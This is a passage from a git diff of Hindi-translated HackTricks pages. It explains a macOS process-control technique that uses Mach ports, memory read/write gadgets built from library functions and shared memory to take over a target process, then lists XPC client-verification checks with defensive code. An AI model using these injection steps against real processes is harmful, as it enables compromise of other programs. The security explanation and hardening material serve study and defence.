सुविधाजनक बनाने के लिए Mach पोर्ट स्थापित करना शामिल है। ये पोर्ट कार्यों के बीच मनमाने भेजने और प्राप्त करने के अधिकारों को स्थानांतरित करने में महत्वपूर्ण हैं। -द्विदिशीय संचार के लिए, दो मैक प्राप्ति अधिकार बनाए जाते हैं: एक स्थानीय और दूरस्थ कार्य में। इसके बाद, प्रत्येक पोर्ट के लिए एक भेजने का अधिकार विपरीत कार्य में स्थानांतरित किया जाता है, संदेश विनिमय को सक्षम करते हैं। +द्विदिश संचार के लिए, दो Mach प्राप्त करने के अधिकार बनाए जाते हैं: एक स्थानीय में और दूसरा दूरस्थ कार्य में। इसके बाद, प्रत्येक पोर्ट के लिए एक भेजने का अधिकार समकक्ष कार्य में स्थानांतरित किया जाता है, जिससे संदेशों का आदान-प्रदान संभव होता है। -स्थानीय पोर्ट पर ध्यान केंद्रित है, स्थानीय कार्य द्वारा प्राप्ति अधिकार को धारण किया जाता है। पोर्ट `mach_port_allocate()` के साथ बनाया जाता है। चुनौती इसमें है कि इस पोर्ट में एक भेजने का अधिकार दूरस्थ कार्य में स्थानांतरित करना है। +स्थानीय पोर्ट पर ध्यान केंद्रित करते हुए, प्राप्त करने का अधिकार स्थानीय कार्य द्वारा रखा जाता है। पोर्ट को `mach_port_allocate()` के साथ बनाया जाता है। चुनौती इस पोर्ट के लिए एक भेजने के अधिकार को दूरस्थ कार्य में स्थानांतरित करने में है। -एक रणनीति शामिल है `thread_set_special_port()` का उपयोग करना, लोकल पोर्ट में एक भेजने का अधिकार रखने के लिए दूरस्थ थ्रेड के `THREAD_KERNEL_PORT` में। फिर, दूरस्थ थ्रेड को निर्देशित किया जाता है कि `mach_thread_self()` कॉल करें ताकि वह भेजने का अधिकार प्राप्त कर सके। +एक रणनीति में `thread_set_special_port()` का उपयोग करके दूरस्थ थ्रेड के `THREAD_KERNEL_PORT` में स्थानीय पोर्ट के लिए एक भेजने का अधिकार रखना शामिल है। फिर, दूरस्थ थ्रेड को `mach_thread_self()` को कॉल करने के लिए निर्देशित किया जाता है ताकि भेजने का अधिकार प्राप्त किया जा सके। -दूरस्थ पोर्ट के लिए, प्रक्रिया मूल रूप से उलट जाती है। दूरस्थ थ्रेड को निर्देशित किया जाता है कि `mach_reply_port()` के माध्यम से एक मैक पोर्ट उत्पन्न करें (क्योंकि `mach_port_allocate()` अपने वापसी तंत्र के कारण अनुचित है)। पोर्ट निर्माण के बाद, दूरस्थ थ्रेड में `mach_port_insert_right()` को आमंत्रित किया जाता है ताकि एक भेजने का अधिकार स्थापित हो सके। यह अधिकार फिर `thread_set_special_port()` का उपयोग करके कर्नल में छिपाया जाता है। स्थानीय कार्य में, दूरस्थ थ्रेड पर `thread_get_special_port()` का उपयोग किया जाता है ताकि दूरस्थ कार्य में नए निर्धारित मैक पोर्ट के लिए भेजने का अधिकार प्राप्त किया जा सके। +दूरस्थ पोर्ट के लिए, प्रक्रिया मूल रूप से उलट होती है। दूरस्थ थ्रेड को `mach_reply_port()` के माध्यम से एक Mach पोर्ट उत्पन्न करने के लिए निर्देशित किया जाता है (क्योंकि `mach_port_allocate()` इसकी रिटर्न मैकेनिज्म के कारण अनुपयुक्त है)। पोर्ट निर्माण के बाद, `mach_port_insert_right()` को दूरस्थ थ्रेड में एक भेजने का अधिकार स्थापित करने के लिए लागू किया जाता है। यह अधिकार फिर `thread_set_special_port()` का उपयोग करके कर्नेल में रखा जाता है। स्थानीय कार्य में वापस, `thread_get_special_port()` का उपयोग दूरस्थ कार्य में नए आवंटित Mach पोर्ट के लिए भेजने के अधिकार को प्राप्त करने के लिए किया जाता है। -इन कदमों के पूरा होने से मैक पोर्ट्स की स्थापना होती है, जो द्विदिशीय संचार के लिए आधार रखती है। +इन चरणों को पूरा करने से Mach पोर्ट स्थापित होते हैं, जो द्विदिश संचार के लिए आधार तैयार करते हैं। -## 3. मूल मेमोरी पठन/लेखन आधार +## 3. Basic Memory Read/Write Primitives -इस खंड में, कार्यान्वयन प्राथमिक मेमोरी पठन और लेखन आधार स्थापित करने के लिए एक्जीक्यूट प्राथमिक का उपयोग करने पर ध्यान केंद्रित है। ये प्रारंभिक कदम दूरस्थ प्रक्रिया पर अधिक नियंत्रण प्राप्त करने के लिए महत्वपूर्ण हैं, हालांकि इस स्थिति में प्राथमिक आधार बहुत सारे उद्देश्यों की सेवा नहीं करेंगे। जल्द ही, वे अधिक उन्नत संस्करणों में अपग्रेड किए जाएंगे। +इस अनुभाग में, बुनियादी मेमोरी पढ़ने और लिखने की प्राइमिटिव स्थापित करने के लिए निष्पादित प्राइमिटिव का उपयोग करने पर ध्यान केंद्रित किया गया है। ये प्रारंभिक कदम दूरस्थ प्रक्रिया पर अधिक नियंत्रण प्राप्त करने के लिए महत्वपूर्ण हैं, हालांकि इस चरण में प्राइमिटिव का बहुत अधिक उपयोग नहीं होगा। जल्द ही, उन्हें अधिक उन्नत संस्करणों में अपग्रेड किया जाएगा। -### एक्जीक्यूट प्राथमिक का उपयोग करके मेमोरी पठन और लेखन +### Memory Reading and Writing Using Execute Primitive -लक्ष्य है कि विशेष कार्यों का उपयोग करके मेमोरी पठन और लेखन किया जाए। मेमोरी पठन के लिए, निम्नलिखित संरचना की तुलना करने वाले फ़ंक्शन का उपयोग किया जाता है: +उद्देश्य विशिष्ट फ़ंक्शंस का उपयोग करके मेमोरी पढ़ने और लिखने का प्रदर्शन करना है। मेमोरी पढ़ने के लिए, निम्नलिखित संरचना के समान फ़ंक्शंस का उपयोग किया जाता है: ```c uint64_t read_func(uint64_t *address) { return *address; } ``` -और मेमोरी में लेखन के लिए, इस संरचना के समान कार्यों का उपयोग किया जाता है: +और मेमोरी में लिखने के लिए, इस संरचना के समान फ़ंक्शन का उपयोग किया जाता है: ```c void write_func(uint64_t *address, uint64_t value) { *address = value; } ``` -ये फ़ंक्शन दिए गए असेम्बली इंस्ट्रक्शंस के समान हैं: +ये फ़ंक्शन दिए गए असेंबली निर्देशों के अनुरूप हैं: ``` _read_func: ldr x0, [x0] @@ -73,71 +74,108 @@ ret ``` ### उपयुक्त फ़ंक्शनों की पहचान -सामान्य पुस्तकालयों की जांच ने इन कार्रवाइयों के लिए उपयुक्त उम्मीदवारों को प्रकट किया: +सामान्य पुस्तकालयों का स्कैन इन संचालन के लिए उपयुक्त उम्मीदवारों का खुलासा करता है: 1. **मेमोरी पढ़ना:** -[Objective-C रनटाइम पुस्तकालय](https://opensource.apple.com/source/objc4/objc4-723/runtime/objc-runtime-new.mm.auto.html) से `property_getName()` फ़ंक्शन को मेमोरी पढ़ने के लिए एक उपयुक्त फ़ंक्शन के रूप में पहचाना गया है। नीचे फ़ंक्शन का विवरण दिया गया है: +`property_getName()` फ़ंक्शन [Objective-C रनटाइम पुस्तकालय](https://opensource.apple.com/source/objc4/objc4-723/runtime/objc-runtime-new.mm.auto.html) से मेमोरी पढ़ने के लिए एक उपयुक्त फ़ंक्शन के रूप में पहचाना गया है। फ़ंक्शन नीचे वर्णित है: ```c const char *property_getName(objc_property_t prop) { return prop->name; } ``` -यह फ़ंक्शन पहले क्षेत्र को वापस करके `objc_property_t` का पहला फ़ील्ड लौटाते हुए कार्य करता है। +यह फ़ंक्शन प्रभावी रूप से `read_func` की तरह कार्य करता है, जो `objc_property_t` का पहला फ़ील्ड लौटाता है। 2. **मेमोरी लिखना:** -मेमोरी लिखने के लिए एक पूर्व-निर्मित फ़ंक्शन खोजना अधिक चुनौतीपूर्ण है। हालांकि, `libxpc` से `_xpc_int64_set_value()` फ़ंक्शन एक उपयुक्त उम्मीदवार है जिसका निम्नलिखित disassembly है: +मेमोरी लिखने के लिए एक पूर्व-निर्मित फ़ंक्शन खोजना अधिक चुनौतीपूर्ण है। हालाँकि, libxpc से `_xpc_int64_set_value()` फ़ंक्शन एक उपयुक्त उम्मीदवार है, जिसमें निम्नलिखित डिस्सेम्बली है: ```c __xpc_int64_set_value: str x1, [x0, #0x18] ret ``` -एक विशिष्ट पते पर 64-बिट लेख करने के लिए, रिमोट कॉल का संरचना इस प्रकार है: +एक विशिष्ट पते पर 64-बिट लिखने के लिए, दूरस्थ कॉल को इस प्रकार संरचित किया जाता है: ```c _xpc_int64_set_value(address - 0x18, value) ``` -## 4. साझा स्मृति सेटअप +With these primitives established, the stage is set for creating shared memory, marking a significant progression in controlling the remote process. -उद्देश्य स्थानीय और दूरस्थ कार्यों के बीच साझा स्मृति स्थापित करना है, डेटा स्थानांतरण को सरल बनाना और एकाधिक तर्कों के साथ फ़ंक्शन को बुलाना सुविधाजनक बनाना। इस दृष्टिकोण में `libxpc` और इसके `OS_xpc_shmem` ऑब्जेक्ट प्रकार का सहारा लेना शामिल है, जो माक मेमोरी एंट्रीज़ पर आधारित है। +## 4. साझा मेमोरी सेटअप + +उद्देश्य स्थानीय और दूरस्थ कार्यों के बीच साझा मेमोरी स्थापित करना है, डेटा ट्रांसफर को सरल बनाना और कई तर्कों के साथ कार्यों को कॉल करने की सुविधा प्रदान करना है। यह दृष्टिकोण `libxpc` और इसके `OS_xpc_shmem` ऑब्जेक्ट प्रकार का उपयोग करता है, जो मच मेमोरी प्रविष्टियों पर आधारित है। ### प्रक्रिया अवलोकन: -1. **स्मृति आवंटन**: -- `mach_vm_allocate()` का उपयोग करके साझा करने के लिए स्मृति आवंटित करें। -- आवंटित स्मृति क्षेत्र के लिए एक `OS_xpc_shmem` ऑब्ज +1. **मेमोरी आवंटन**: +- साझा करने के लिए मेमोरी आवंटित करें `mach_vm_allocate()` का उपयोग करके। +- आवंटित मेमोरी क्षेत्र के लिए `OS_xpc_shmem` ऑब्जेक्ट बनाने के लिए `xpc_shmem_create()` का उपयोग करें। यह फ़ंक्शन मच मेमोरी प्रविष्टि के निर्माण का प्रबंधन करेगा और `OS_xpc_shmem` ऑब्जेक्ट के ऑफसेट `0x18` पर मच भेजने का अधिकार संग्रहीत करेगा। + +2. **दूरस्थ प्रक्रिया में साझा मेमोरी बनाना**: +- दूरस्थ प्रक्रिया में `OS_xpc_shmem` ऑब्जेक्ट के लिए मेमोरी आवंटित करें `malloc()` के लिए एक दूरस्थ कॉल के साथ। +- स्थानीय `OS_xpc_shmem` ऑब्जेक्ट की सामग्री को दूरस्थ प्रक्रिया में कॉपी करें। हालाँकि, यह प्रारंभिक कॉपी ऑफसेट `0x18` पर गलत मच मेमोरी प्रविष्टि नाम होगा। + +3. **मच मेमोरी प्रविष्टि को सही करना**: +- दूरस्थ कार्य में मच मेमोरी प्रविष्टि के लिए एक भेजने के अधिकार को सम्मिलित करने के लिए `thread_set_special_port()` विधि का उपयोग करें। +- दूरस्थ मेमोरी प्रविष्टि के नाम के साथ इसे ओवरराइट करके ऑफसेट `0x18` पर मच मेमोरी प्रविष्टि फ़ील्ड को सही करें। + +4. **साझा मेमोरी सेटअप को अंतिम रूप देना**: +- दूरस्थ `OS_xpc_shmem` ऑब्जेक्ट को मान्य करें। +- `xpc_shmem_remote()` के लिए एक दूरस्थ कॉल के साथ साझा मेमोरी मैपिंग स्थापित करें। + +इन चरणों का पालन करके, स्थानीय और दूरस्थ कार्यों के बीच साझा मेमोरी को कुशलतापूर्वक सेट किया जाएगा, जिससे डेटा ट्रांसफर और कई तर्कों की आवश्यकता वाले कार्यों के निष्पादन की सुविधा मिलेगी। + +## अतिरिक्त कोड स्निपेट्स + +मेमोरी आवंटन और साझा मेमोरी ऑब्जेक्ट निर्माण के लिए: ```c mach_vm_allocate(); xpc_shmem_create(); ``` -दूरस्थ प्रक्रिया में साझा स्मृति वस्तु बनाने और सुधारित करने के लिए: +रिमोट प्रोसेस में साझा मेमोरी ऑब्जेक्ट बनाने और सुधारने के लिए: ```c malloc(); // for allocating memory remotely thread_set_special_port(); // for inserting send right ``` +याद रखें कि साझा मेमोरी सेटअप को सही ढंग से कार्य करने के लिए Mach पोर्ट और मेमोरी एंट्री नामों के विवरण को सही तरीके से संभालें। + ## 5. पूर्ण नियंत्रण प्राप्त करना -साझा मेमोरी स्थापित करने और विचारशील क्रियान्वयन क्षमताओं को प्राप्त करने पर सफलतापूर्वक, हमने मुख्य रूप से लक्ष्य प्रक्रिया पर पूर्ण नियंत्रण प्राप्त कर लिया है। इस नियंत्रण को संभालने वाले महत्वपूर्ण कार्यक्षमताएँ हैं: +साझा मेमोरी स्थापित करने और मनमाने निष्पादन क्षमताओं को प्राप्त करने में सफल होने पर, हमने मूल रूप से लक्षित प्रक्रिया पर पूर्ण नियंत्रण प्राप्त कर लिया है। इस नियंत्रण को सक्षम करने वाली मुख्य कार्यक्षमताएँ हैं: -1. **विचारशील मेमोरी परिचालन**: -- साझा क्षेत्र से डेटा कॉपी करने के लिए `memcpy()` को आह्वान करके विचारशील मेमोरी पढ़ें। -- साझा क्षेत्र में डेटा स्थानांतरित करने के लिए `memcpy()` का उपयोग करके विचारशील मेमोरी लिखें। +1. **मनमानी मेमोरी संचालन**: +- साझा क्षेत्र से डेटा कॉपी करने के लिए `memcpy()` को कॉल करके मनमानी मेमोरी पढ़ें। +- साझा क्षेत्र में डेटा स्थानांतरित करने के लिए `memcpy()` का उपयोग करके मनमानी मेमोरी लिखें। -2. **एकाधिक तर्कों के साथ कार्य को संभालना**: -- 8 से अधिक तर्कों की आवश्यकता होने पर, कॉलिंग कन्वेंशन के अनुसार अतिरिक्त तर्कों को स्टैक पर व्यवस्थित करें। +2. **कई तर्कों के साथ फ़ंक्शन कॉल को संभालना**: +- उन फ़ंक्शनों के लिए जो 8 से अधिक तर्कों की आवश्यकता होती है, कॉलिंग कन्वेंशन के अनुपालन में अतिरिक्त तर्कों को स्टैक पर व्यवस्थित करें। 3. **Mach पोर्ट स्थानांतरण**: -- पहले स्थापित पोर्ट के माध्यम से Mach संदेशों के माध्यम से कार्यों के बीच Mach पोर्ट स्थानांतरित करें। +- पूर्व में स्थापित पोर्ट के माध्यम से Mach संदेशों के माध्यम से कार्यों के बीच Mach पोर्ट स्थानांतरित करें। -4. **फ़ाइल डिस्क्रिप्टर स्थानांतरण**: -- `triple_fetch` में उजागर किए गए तकनीक फाइलपोर्ट्स का उपयोग करके प्रक्रियाओं के बीच फ़ाइल डिस्क्रिप्टर स्थानांतरण करें। +4. **फाइल डिस्क्रिप्टर स्थानांतरण**: +- `triple_fetch` में Ian Beer द्वारा उजागर की गई तकनीक का उपयोग करके प्रक्रियाओं के बीच फाइल डिस्क्रिप्टर स्थानांतरित करें। -यह व्यापक नियंत्रण [threadexec](https://github.com/bazad/threadexec) पुस्तकालय में समाहित है, जो उपकरण प्रक्रिया के साथ विवेकपूर्ण स्तर पर नियंत्रण प्राप्त करने के लिए एक विस्तृत कार्यान्वयन और उपयोगकर्ता-मित्र API प्रदान करता है। +यह व्यापक नियंत्रण [threadexec](https://github.com/bazad/threadexec) पुस्तकालय के भीतर संकुचित है, जो पीड़ित प्रक्रिया के साथ बातचीत के लिए एक विस्तृत कार्यान्वयन और उपयोगकर्ता के अनुकूल API प्रदान करता है। ## महत्वपूर्ण विचार: -- सिस्टम स्थिरता और डेटा अखंडता बनाए रखने के लिए मेमोरी पढ़ने/लिखने के लिए `memcpy()` का उचित उपयोग सुनिश्चित करें। -- Mach पोर्ट या फ़ाइल डिस्क्रिप्टर स्थानांतरण करते समय, उचित प्रोटोकॉल का पालन करें और संसाधनों को जिम्मेदारीपूर्वक संभालने के लिए संसाधनों को लीक या अनहेतु पहुंच से बचाने के लिए। +- सिस्टम स्थिरता और डेटा अखंडता बनाए रखने के लिए मेमोरी पढ़ने/लिखने के संचालन के लिए `memcpy()` का सही उपयोग सुनिश्चित करें। +- Mach पोर्ट या फाइल डिस्क्रिप्टर स्थानांतरित करते समय, उचित प्रोटोकॉल का पालन करें और रिसोर्सेस को जिम्मेदारी से संभालें ताकि लीक या अनपेक्षित पहुंच से बचा जा सके। -इन दिशानिर्देशों का पालन करके और `threadexec` पुस्तकालय का उपयोग करके, व्यक्ति लक्षित प्रक्रिया पर पूर्ण नियंत्रण प्राप्त करने के लिए प्रक्रियाओं का प्रबंधन और अंतर्क्रिया कर सकता है। +इन दिशानिर्देशों का पालन करके और `threadexec` पुस्तकालय का उपयोग करके, कोई भी प्रक्रियाओं के साथ सूक्ष्म स्तर पर प्रभावी ढंग से प्रबंधित और बातचीत कर सकता है, लक्षित प्रक्रिया पर पूर्ण नियंत्रण प्राप्त कर सकता है। ## संदर्भ * [https://bazad.github.io/2018/10/bypassing-platform-binary-task-threads/](https://bazad.github.io/2018/10/bypassing-platform-binary-task-threads/) + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Support HackTricks + +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/README.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/README.md index a5c1693a9..7da9fa9d3 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/README.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/README.md @@ -1,48 +1,49 @@ # macOS XPC कनेक्टिंग प्रोसेस चेक +{% hint style="success" %} +सीखें और प्रैक्टिस करें AWS हैकिंग:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +सीखें और प्रैक्टिस करें GCP हैकिंग: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-htARTE (HackTricks AWS Red Team Expert) के साथ शून्य से नायक तक AWS हैकिंग सीखें! +HackTricks का समर्थन करें -HackTricks का समर्थन करने के अन्य तरीके: - -* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें! -* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह -* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर मुझे 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) **का अनुसरण करें**. -* [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें. +* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) चेक करें! +* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।** +* हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
+{% endhint %} ## XPC कनेक्टिंग प्रोसेस चेक -जब XPC सेवा से कनेक्शन स्थापित होता है, सर्वर यह जांचेगा कि कनेक्शन अनुमति है या नहीं। ये आमतौर पर किए जाने वाले चेक हैं: +जब एक XPC सेवा से कनेक्शन स्थापित किया जाता है, तो सर्वर यह जांचेगा कि क्या कनेक्शन की अनुमति है। ये सामान्यतः की जाने वाली जांचें हैं: -1. जांचें कि कनेक्टिंग **प्रोसेस Apple-signed** प्रमाणपत्र के साथ हस्ताक्षरित है (केवल Apple द्वारा दिया गया). -* यदि यह **सत्यापित नहीं है**, तो हमलावर किसी भी अन्य चेक से मेल खाने के लिए **नकली प्रमाणपत्र** बना सकता है। -2. जांचें कि कनेक्टिंग प्रोसेस **संगठन के प्रमाणपत्र** के साथ हस्ताक्षरित है, (टीम ID सत्यापन). -* यदि यह **सत्यापित नहीं है**, तो **किसी भी डेवलपर प्रमाणपत्र** का उपयोग Apple से हस्ताक्षरित करने और सेवा से कनेक्ट करने के लिए किया जा सकता है। -3. जांचें कि कनेक्टिंग प्रोसेस में **उचित बंडल ID** है। -* यदि यह **सत्यापित नहीं है**, तो समान संगठन द्वारा हस्ताक्षरित कोई भी टूल XPC सेवा के साथ इंटरैक्ट करने के लिए उपयोग किया जा सकता है। -4. (4 या 5) जांचें कि कनेक्टिंग प्रोसेस में **उचित सॉफ्टवेयर संस्करण संख्या** है। -* यदि यह **सत्यापित नहीं है,** तो पुराने, असुरक्षित क्लाइंट्स, प्रोसेस इंजेक्शन के लिए संवेदनशील हो सकते हैं और अन्य चेक्स के होते हुए भी XPC सेवा से कनेक्ट कर सकते हैं। -5. (4 या 5) जांचें कि कनेक्टिंग प्रोसेस में हार्डन्ड रनटाइम है बिना खतरनाक एंटाइटलमेंट्स के (जैसे कि जो अनियंत्रित लाइब्रेरीज़ लोड करने या DYLD env vars का उपयोग करने की अनुमति देते हैं) -1. यदि यह **सत्यापित नहीं है,** तो क्लाइंट **कोड इंजेक्शन के लिए संवेदनशील हो सकता है** -6. जांचें कि कनेक्टिंग प्रोसेस में एक **एंटाइटलमेंट** है जो इसे सेवा से कनेक्ट करने की अनुमति देता है। यह Apple बाइनरीज़ के लिए लागू होता है। -7. **सत्यापन** को कनेक्टिंग **क्लाइंट के ऑडिट टोकन** पर **आधारित** होना चाहिए **इसके प्रोसेस ID (PID)** के बजाय, क्योंकि पूर्व **PID पुन: उपयोग हमलों** से बचाता है। -* डेवलपर्स **शायद ही कभी ऑडिट टोकन** API कॉल का उपयोग करते हैं क्योंकि यह **निजी** है, इसलिए Apple कभी भी **बदल** सकता है। इसके अलावा, Mac App Store ऐप्स में निजी API का उपयोग अनुमति नहीं है। -* यदि **`processIdentifier`** मेथड का उपयोग किया जाता है, तो यह संवेदनशील हो सकता है -* **`xpc_dictionary_get_audit_token`** का उपयोग **`xpc_connection_get_audit_token`** के बजाय किया जाना चाहिए, क्योंकि नवीनतम भी [कुछ स्थितियों में संवेदनशील हो सकता है](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/). +1. जांचें कि क्या कनेक्टिंग **प्रोसेस एक Apple-साइन किए गए** प्रमाणपत्र के साथ साइन किया गया है (जो केवल Apple द्वारा दिया जाता है)। +* यदि यह **सत्यापित नहीं है**, तो एक हमलावर एक **नकली प्रमाणपत्र** बना सकता है जो किसी अन्य जांच से मेल खाता है। +2. जांचें कि क्या कनेक्टिंग प्रोसेस **संस्थान के प्रमाणपत्र** के साथ साइन किया गया है (टीम आईडी सत्यापन)। +* यदि यह **सत्यापित नहीं है**, तो Apple से **कोई भी डेवलपर प्रमाणपत्र** साइनिंग के लिए उपयोग किया जा सकता है, और सेवा से कनेक्ट किया जा सकता है। +3. जांचें कि क्या कनेक्टिंग प्रोसेस **एक उचित बंडल आईडी** रखता है। +* यदि यह **सत्यापित नहीं है**, तो **उसी संगठन द्वारा साइन किए गए** किसी भी टूल का उपयोग XPC सेवा के साथ इंटरैक्ट करने के लिए किया जा सकता है। +4. (4 या 5) जांचें कि क्या कनेक्टिंग प्रोसेस में **एक उचित सॉफ़्टवेयर संस्करण संख्या** है। +* यदि यह **सत्यापित नहीं है**, तो एक पुराना, असुरक्षित क्लाइंट, जो प्रोसेस इंजेक्शन के प्रति संवेदनशील है, XPC सेवा से कनेक्ट करने के लिए उपयोग किया जा सकता है, भले ही अन्य जांचें लागू हों। +5. (4 या 5) जांचें कि क्या कनेक्टिंग प्रोसेस में खतरनाक अधिकारों के बिना **एक हार्डनड रनटाइम** है (जैसे कि वे जो मनमाने लाइब्रेरी लोड करने या DYLD env vars का उपयोग करने की अनुमति देते हैं)। +* यदि यह **सत्यापित नहीं है**, तो क्लाइंट **कोड इंजेक्शन के प्रति संवेदनशील** हो सकता है। +6. जांचें कि क्या कनेक्टिंग प्रोसेस में एक **अधिकार** है जो इसे सेवा से कनेक्ट करने की अनुमति देता है। यह Apple बाइनरी के लिए लागू है। +7. **सत्यापन** कनेक्टिंग **क्लाइंट के ऑडिट टोकन** पर **आधारित** होना चाहिए **इसके प्रोसेस आईडी** (**PID**) के बजाय क्योंकि पूर्व **PID पुन: उपयोग हमलों** को रोकता है। +* डेवलपर्स **कभी-कभी ऑडिट टोकन** API कॉल का उपयोग करते हैं क्योंकि यह **निजी** है, इसलिए Apple इसे **किसी भी समय बदल** सकता है। इसके अतिरिक्त, निजी API का उपयोग Mac App Store ऐप्स में अनुमति नहीं है। +* यदि विधि **`processIdentifier`** का उपयोग किया जाता है, तो यह संवेदनशील हो सकता है। +* **`xpc_dictionary_get_audit_token`** का उपयोग **`xpc_connection_get_audit_token`** के बजाय किया जाना चाहिए, क्योंकि बाद वाला भी [कुछ स्थितियों में संवेदनशील हो सकता है](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)। ### संचार हमले -PID पुन: उपयोग हमले के बारे में अधिक जानकारी के लिए देखें: +PID पुन: उपयोग हमले के बारे में अधिक जानकारी के लिए चेक करें: {% content-ref url="macos-pid-reuse.md" %} [macos-pid-reuse.md](macos-pid-reuse.md) {% endcontent-ref %} -**`xpc_connection_get_audit_token`** हमले के बारे में अधिक जानकारी के लिए देखें: +अधिक जानकारी के लिए **`xpc_connection_get_audit_token`** हमले की जांच करें: {% content-ref url="macos-xpc_connection_get_audit_token-attack.md" %} [macos-xpc\_connection\_get\_audit\_token-attack.md](macos-xpc\_connection\_get\_audit\_token-attack.md) @@ -50,11 +51,11 @@ PID पुन: उपयोग हमले के बारे में अध ### Trustcache - डाउनग्रेड हमलों की रोकथाम -Trustcache Apple Silicon मशीनों में पेश की गई एक रक्षात्मक विधि है जो Apple बाइनरीज़ के CDHSAH का एक डेटाबेस संग्रहीत करती है ताकि केवल अनुमति दी गई अपरिवर्तित बाइनरीज़ ही निष्पादित की जा सकें। जो डाउनग्रेड संस्करणों के निष्पादन को रोकता है। +Trustcache एक रक्षात्मक विधि है जो Apple Silicon मशीनों में पेश की गई है जो Apple बाइनरी के CDHSAH का एक डेटाबेस संग्रहीत करती है ताकि केवल अनुमत गैर-संशोधित बाइनरी को निष्पादित किया जा सके। जो डाउनग्रेड संस्करणों के निष्पादन को रोकता है। ### कोड उदाहरण -सर्वर इस **सत्यापन** को **`shouldAcceptNewConnection`** कहलाने वाले फंक्शन में लागू करेगा। +सर्वर इस **सत्यापन** को **`shouldAcceptNewConnection`** नामक एक फ़ंक्शन में लागू करेगा। {% code overflow="wrap" %} ```objectivec @@ -65,9 +66,9 @@ return YES; ``` {% endcode %} -ऑब्जेक्ट NSXPCConnection में एक **निजी** संपत्ति **`auditToken`** (वह जिसका उपयोग किया जाना चाहिए लेकिन बदल सकता है) और एक **सार्वजनिक** संपत्ति **`processIdentifier`** (वह जिसका उपयोग नहीं किया जाना चाहिए) होती है। +ऑब्जेक्ट NSXPCConnection में एक **निजी** प्रॉपर्टी **`auditToken`** है (जो उपयोग की जानी चाहिए लेकिन बदल सकती है) और एक **सार्वजनिक** प्रॉपर्टी **`processIdentifier`** है (जो उपयोग नहीं की जानी चाहिए)। -कनेक्टिंग प्रोसेस की पुष्टि कुछ इस प्रकार से की जा सकती है: +जोड़ने वाली प्रक्रिया को कुछ इस तरह से सत्यापित किया जा सकता है: {% code overflow="wrap" %} ```objectivec @@ -91,7 +92,7 @@ SecTaskValidateForRequirement(taskRef, (__bridge CFStringRef)(requirementString) ``` {% endcode %} -यदि एक डेवलपर क्लाइंट के संस्करण की जांच करना नहीं चाहता, तो वह कम से कम यह जांच सकता है कि क्लाइंट प्रोसेस इंजेक्शन के प्रति संवेदनशील नहीं है: +यदि एक डेवलपर क्लाइंट के संस्करण की जांच नहीं करना चाहता है, तो वह कम से कम यह जांच सकता है कि क्लाइंट प्रक्रिया इंजेक्शन के लिए संवेदनशील नहीं है: {% code overflow="wrap" %} ```objectivec @@ -108,16 +109,19 @@ if ((csFlags & (cs_hard | cs_require_lv)) { return Yes; // Accept connection } ``` +{% endcode %} + +{% hint style="success" %} +सीखें और AWS हैकिंग का अभ्यास करें:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +सीखें और GCP हैकिंग का अभ्यास करें: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
